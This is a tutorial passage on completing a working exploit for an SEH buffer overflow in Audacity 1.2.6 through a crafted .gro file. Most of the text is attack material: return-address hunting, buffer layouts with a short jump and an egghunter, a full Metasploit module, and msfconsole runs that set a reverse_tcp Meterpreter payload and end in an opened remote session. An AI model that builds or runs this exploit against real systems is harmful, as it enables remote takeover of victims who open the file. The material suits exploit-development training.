Completing The Exploit

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This is a standard SEH overflow. We can notice some of our user input a "pop, pop, ret" away from us on the stack. An interesting thing to notice from the screenshot above is the fact that we sent a 2000 byte payload - however it seems that when we return to our buffer, it gets truncated. We have around 80 bytes of space for our shellcode (marked in blue). We use the Immunity !safeseh function to locate unprotected dll's from which a return address can be found.

Aud-seh-02.png



We copy over the DLL and search for a POP POP RET instruction combination using msfpescan.

root@kali:~# msfpescan -p libfftw3f-3.dll

[libfftw3f-3.dll]
0x637410a9 pop esi; pop ebp; retn 0x000c
0x63741383 pop edi; pop ebp; ret
0x6374144c pop edi; pop ebp; ret
0x637414d3 pop edi; pop ebp; ret

0x637f597b pop edi; pop ebp; ret
0x637f5bb6 pop edi; pop ebp; ret

PoC to Exploit

As we used the pattern_create function to create our initial buffer, we can now calculate the buffer lenth required to overwrite our exception handler.

root@kali:/usr/share/metasploit-framework/tools# ./pattern_offset.rb 67413966
178

We modify our exploit accordingly by introducing a valid return address.

[ 'Audacity Universal 1.2 ', { 'Ret' => 0x637410A9} ],

We then adjust the buffer to redirect the execution flow at the time of the crash to our return address, jump over it (xEB is a "short jump") and then land in the breakpoint buffer (xCC).

 def exploit
    buff = "\x41" * 174
    buff << "\xeb\x06\x41\x41"
    buff << [target.ret].pack('V')
    buff << "\xCC" * 2000
    print_status("Creating '#{datastore['FILENAME']}' file ...")
    file_create(buff)
 end

Once again, we generate our exploit file, attach Audacity to the debugger and import the malicious file. This time, the SEH should be overwritten with our address - the one that will lead us to a pop, pop, ret instruction set. We set a breakpoint there, and once again, take the exception with shift + F9 and walk through our pop pop ret with F8.

Aud-seh-04.png



The short jump takes us over our return address, into our "shellcode buffer".

Aud-seh-10.png



Once again, we have very little buffer space for our payload.A quick inspection of the memory reveals that our full buffer length can be found in the heap. Knowing this, we could utilise our initial 80 byte space to execute an egghunter, which would look for and find the secondary payload.

Aud-seh-06.png



Implementing the MSF egghunter is relatively easy:

 def exploit
    hunter  = generate_egghunter
    egg  = hunter[1]
 
    buff = "\x41" * 174
    buff << "\xeb\x06\x41\x41"
    buff << [target.ret].pack('V')
    buff << "\x90"*4
    buff << hunter[0]
    buff << "\xCC" * 200
    buff << egg + egg
    buff << payload.encoded
 
    print_status("Creating '#{datastore['FILENAME']}' file ...")
    file_create(buff)
 end

The final exploit looks like this:
##
# $Id: audacity1-26.rb 6668 2009-06-17 20:54:52Z hdm $
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

	include Msf::Exploit::FILEFORMAT
	include Msf::Exploit::Remote::Egghunter
	
	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Audacity 1.2.6 (GRO File) SEH Overflow.',
			'Description'    => %q{
					Audacity is prone to a buffer-overflow vulnerability because it fails to perform adequate 
					boundary checks on user-supplied data. This issue occurs in the 
					'String_parse::get_nonspace_quoted()' function of the 'lib-src/allegro/strparse.cpp' 
					source file when handling malformed '.gro' files
					This module exploits a stack-based buffer overflow in the Audacity audio editor 1.6.2.
					An attacker must send the file to victim and the victim must import the "midi" file.
					},
			'License'        => MSF_LICENSE,
			'Author'         => [ 'muts & mr_me', 'Mati & Steve' ],
			'Version'        => '$Revision: 6668 $',
			'References'     =>
				[
					[ 'URL', 'http://milw0rm.com/exploits/7634' ],
					[ 'CVE', '2009-0490' ],
				],
			'Payload'        =>
				{
					'Space'    => 2000,
					'EncoderType'   => Msf::Encoder::Type::AlphanumMixed,
					'StackAdjustment' => -3500,
				},
			'Platform' => 'win',
			'Targets'        => 
				[
					[ 'Audacity Universal 1.2 ', { 'Ret' => 0x637410A9} ],
				], 
			'Privileged'     => false,
			'DisclosureDate' => '5th Jan 2009',
			'DefaultTarget'  => 0))

			register_options(
				[
					OptString.new('FILENAME', [ true, 'The file name.',  'auda_eviL.gro']),
				], self.class)

	end

	def exploit
		hunter  = generate_egghunter
		egg  = hunter[1]
		buff = "\x41" * 174
                buff << "\xeb\x08\x41\x41"
                buff << [target.ret].pack('V')
	        buff << "\x90" * 4
                buff << hunter[0]
		buff << "\x43" * 200
                buff << egg + egg
		buff << payload.encoded
		
		print_status("Creating '#{datastore['FILENAME']}' file ...")

		file_create(buff)

	end

end

We run the final exploit through a debugger to make sure everything is in order. We can see the egghunter was implemented correctly and is working perfectly.

Aud-seh-11.png



We generate out final weaponised exploit:

 msf > search audacity
 [*] Searching loaded modules for pattern 'audacity'...
 
 Exploits
 ========
 
 Name                         Description
 ----                         -----------
 windows/fileformat/audacity  Audacity 1.2.6 (GRO File) SEH Overflow.
 
 msf > use windows/fileformat/audacity
 msf exploit(audacity) > set PAYLOAD windows/meterpreter/reverse_tcp
 PAYLOAD => windows/meterpreter/reverse_tcp
 msf exploit(audacity) > show options
 
 Module options:
 
 Name        Current Setting                             Required  Description
 ----        ---------------                             --------  -----------
 FILENAME    auda_eviL.gro                               yes       The file name.
 OUTPUTPATH  /usr/share/metasploit-framework/data/exploits  yes       The location of the file.
 
 
 Payload options (windows/meterpreter/reverse_tcp):
 
 Name      Current Setting  Required  Description
 ----      ---------------  --------  -----------
 EXITFUNC  thread           yes       Exit technique: seh, thread, process
 LHOST     192.168.2.15     yes       The local address
 LPORT     4444             yes       The local port
 
 
 Exploit target:
 
 Id  Name
 --  ----
 0   Audacity Universal 1.2
 
 
 msf exploit(audacity) > exploit
 
 [*] Handler binding to LHOST 0.0.0.0
 [*] Started reverse handler
 [*] Creating 'auda_eviL.gro' file ...
 [*] Generated output file //usr/share/metasploit-framework/data/exploits/auda_eviL.gro
 [*] Exploit completed, but no session was created.

And get a meterpreter shell!

msf exploit(audacity) > use multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.2.15
LHOST => 192.168.2.15
msf exploit(handler) > exploit

[*] Handler binding to LHOST 0.0.0.0
[*] Started reverse handler
[*] Starting the payload handler...
[*] Sending stage (718336 bytes)
[*] Meterpreter session 1 opened (192.168.2.15:4444 -> 192.168.2.109:1445)

meterpreter >




Completing The Exploit